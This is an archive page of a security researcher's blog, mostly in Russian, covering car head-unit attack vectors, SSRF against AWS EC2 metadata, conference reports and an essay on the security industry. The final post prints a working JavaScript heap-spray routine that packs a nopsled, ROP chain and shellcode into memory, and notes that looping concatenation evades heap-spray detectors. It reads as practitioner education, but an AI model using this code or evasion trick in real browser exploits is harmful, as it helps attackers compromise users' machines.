четверг, 23 июля 2015 г.

Head Unit as a target for hackers

Head Unit as a target for hackers.
In recent years the problem of car hacking is raised more and more frequently. It concerns almost everyone: car manufacturers, OEM and information security specialists. Of course,  EU and  USA authorities are also interested in it and fund research in this field. As in information security industry some activities are just attempts to scare and some problems are deliberately overestimated, I would like to look into this subject without unnecessary emotions but keeping in mind that it's always best to err on the side of caution. In my own professional realm I deal with ConnectedCar system security and embedded solutions for vehicle systems. So I would like to talk about new threats in IoT and cars in the near future. This part is about potential attack vectors on Head Unit and its environment.
https://habrastorage.org/files/a93/cc0/cad/a93cc0cade094ba9bf973f58b9787b84.jpg

понедельник, 22 июня 2015 г.

Zeronights 2014 CFP. Статистика работы Defcon-Russia группы.

Zeronights 2014 CFP. Статистика работы Defcon-Russia группы
Лучше поздно, чем никогда! Думаю, этот девиз не вполне подходит, но, тем не менее...
У меня была подготовлена статистика по работе нашей CFP-комиссии, и по докладам прошлого ZeroNights. Никто ей особо не заинтересовался, но раз она у меня есть, я ей поделюсь.

Итак, в прошлом году состоялась  4-ая ZeroNights. Немного бесполезной статистики, но, тем не менее, забавной, + кое-что о том, какие «злобные» люди сидят в комиссии от Defcon Russia.


пятница, 8 августа 2014 г.

SSRF vs AWS Security

Hello everyone...

Just want to mention one attack-vector that is useful against AWS EC2 instances in some configurations. It is not rocket-science, but pretty fun and tell us about AWS Cloud security things and maybe can help us to do hardening. Actually I am talking about boring-sold SSRF vector. So if an attacker can do SSRF in our EC2 with SSRF what he can do?

Sometimes developers like to assign IAM Roles to instances. For example if it is deploy/build server, that needs to create new apps in AWS account or something else, doesn't matter - this just happens 8) And assigning roles to EC2 instances  - easiest way you can do it, because you do not need to think about how to deliver  Access Keys to the instance, how to rotate them and etc. Now back to SSRF...

So we have classic vulnerable App with boring XXE:


And...



пятница, 7 июня 2013 г.

PHDays III

Дошли и мои руки, наконец-то, до разбора данного события. Я уже не торт и много печатать не буду, но все же поделюсь впечатлениями.

Stage 0.

Летел я из Берлина, что забавно с рюкзаком PHDays 2012, и что еще более забавно в самолете оказались еще парни, которые так же выдвигались на данный ивент - Йохан, Даниель (создатели SCADA and Computer Security Group - SCADACS)  и Джефф Кац aka aestetix. То есть нас всех засадили в один самолет - это мило. И сидели мы относительно рядом 8) И что примечательно, обратно мы тож летели вместе. Так вот я и познакомился с этими милыми мужиками. 


понедельник, 7 января 2013 г.

Интересный случай с SSRF.


В последнее время в Интернетах и в узком кругу ИБ специалистов активно обсуждаются концепты, примеры и техники проведения  “новой” атаки - SSRF. Хотелось бы рассказать об одной такой атаке. Данный случай интересен и тем, что его трудно классифицировать по существующим меркам “угроза-уязвимость”. То есть, есть конкретная атака и есть реализация конкретной угрозы, но если разбирать “уязвимости” отдельно, то угрозы - другие. И этот пример, на мой скромный взгляд, показывает, что “теория ИБ” и классификация в нашей теме - сильно отстает от практики и не всегда применима в том виде, что она есть сейчас.

“Взломай меня полностью”


среда, 28 ноября 2012 г.

На тему круглого стола...

Ну вот, начало конца этого блога уже скоро 8) Тем не менее, иногда прет... да надо молчать, но иногда остановить некому, итак, блого-запись на тему Ресерчeров, девелоперов, баг-хантеров и ИБ индустрии...

Преамбула.

На прошедшей конфе #Zeronights эта тема была вынесена в отдельный поток "круглого стола", но тема зародилась давно, и уже мусолилась у Токсы, и на Риспе:


Поток.

В контексте этой истории -  все это хорошо объяснимо. Для чего делаются исследования? Вот если ответить на этот вопрос, честно и беспристрастно, то станет понятно, что большинство ресерча бесполезно, ибо цели интересны узкому кругу лиц. Вообще ИБ индустрия - это узкий круг лиц, и рынок там - "натуральное хозяйство". ИБшники это кто, возьмем систему Тохи:

1) Менеджеры ИБ в компаниях.
2) Ресерчеры - баг-хантеры.
3) Вендоры ИБ
4) Регуляторы

И что получается? Что система замкнута. Ресерчеры изображает из себя хакеров, находят XSS, хвастаются ею, создают повод, для того, что бы менеджер ИБ могу купить то, что произвел на свет вендор ИБ. А еще есть Регуляторы, которые тупо говорят: всем покупать и тратить деньги, иначе рынок умрет 8)  В 90% рынка - это так (субъективное мнение). Это тупик. Провал. В итоге мы имеем тонны Г.Пиара от Ресерчеров, которые хотят куски котлет. Вендоров ИБ, которые встроились в систему.  В итоге что же ресерчеры? Они тоже бывают разными, кто делает ресерч ради фана, кто ради ПР и бизнеса, кто ради реальной цели - взломать что-то. Так вот в последнем случае это хотя бы оправданный ресерч. Человек хочет что-то сломать, делает исследование, находит багу, методу, вектор атаки, ломает и приносит себе реальную выгоду. А ради фана? Смотри пример с электронными замками. Чувак получил фан, сгонял в Лас-Вегас, но на этом все. Пользу получили воры. Все остальные (разработчики, владельцы) только ущерб. ИМХО: полезность такой ресерч принес бы только бы только в процессе разработки.

Вывод.

ИБ-ресерч в отрыве от процесса разработки и эксплуатации - бесполезен. Да вы нашли 100 багов, ну 1000, ну и что? Их еще потом 1000 будет, после вас, другие то же найдут. Гонятся за цифрами или ПР-ом  круто, но толку вселенной это не принесет.  Актуальность некоторых ресерчей - то же большой вопрос. ИБ - индустрия, особенно в России (но на самом деле на западе примерно такая же идея, только чуть впереди по развитию) - жалкое зрелище, есть отдельные исключения, но в целом, все вместе - унылая ветка по срубанию бабла. До 200x года было веселее, тогда люди делали ресерч ради реального профита и угара, и это двигало всех совершенствовать защиту и развивать процессы, но теперь все застопорилось.

Не претендую на правдивость всего сказанного или того, что я буду так думать через какое-то время, но уверен, что ИБ в отрыве от разработчиков, процессов и эксплуатации - просто махание шашкой. Консультанты, интеграторы, регуляторы - просто элементы системы иногда даже паразитические 8)

пятница, 23 ноября 2012 г.

HeapSpray

Мини блого-запись  о хипспрее.

Забавно, но в Интернетах говорят о всяких Bubble и Nozzle, и в частности относительно FF и IE9. Я вот прочитав следующие блоги:

https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
http://www.greyhathacker.net/?p=549

... был убежден в эффективности данных методов и даже рассказывал об этом на воркшопе, но сегодня захотелось мне определить порог детектирования HeapSpray. И тут то я понял, что истинная причина того, почему все эти методы из блогов работают, не в том, что они добавляют рандомный  код в начали строки и обманывают сложные алгоритмы, а в том, что там есть конкатенация в цикле. Другими словами не надо усложнять код и добавлять счетчик или не-ассемблерные инструкции и тд. Достаточно сделать конкатенацию! Все просто, не усложняйте себе жизнь ;)

P.S. Прошу считать это за дополнение к воркшопу, где рассказывалось об методе Корелана. Теперь рабочий код для HeapSpray много проще (greyhathacker.net базовый вариант):


  1. var heap_chunks;
  2. function heapSpray(rop,shellcode,nopsled)
  3. {
  4.          var chunk_size, headersize, nopsled_len, code;
  5.          var i, codewithnum;
  6.          log.innerHTML+="<br><b>Stage 2. HeapSpraay...";
  7.          chunk_size = 0x40000;
  8.          headersize = 0x10;
  9.          nopsled_len = chunk_size - (headersize + rop.length + shellcode.length);
  10.          while (nopsled.length < nopsled_len)
  11.                 nopsled += nopsled;
  12.          nopsled = nopsled.substring(0, nopsled_len);
  13.          code = nopsled + rop + shellcode;                            
  14.          heap_chunks = new Array();
  15.          for (i = 0 ; i < 1000 ; i++)
  16.          {
  17.                 codewithnum = "HERE" + code;
  18.                 heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
  19.          }
  20.  }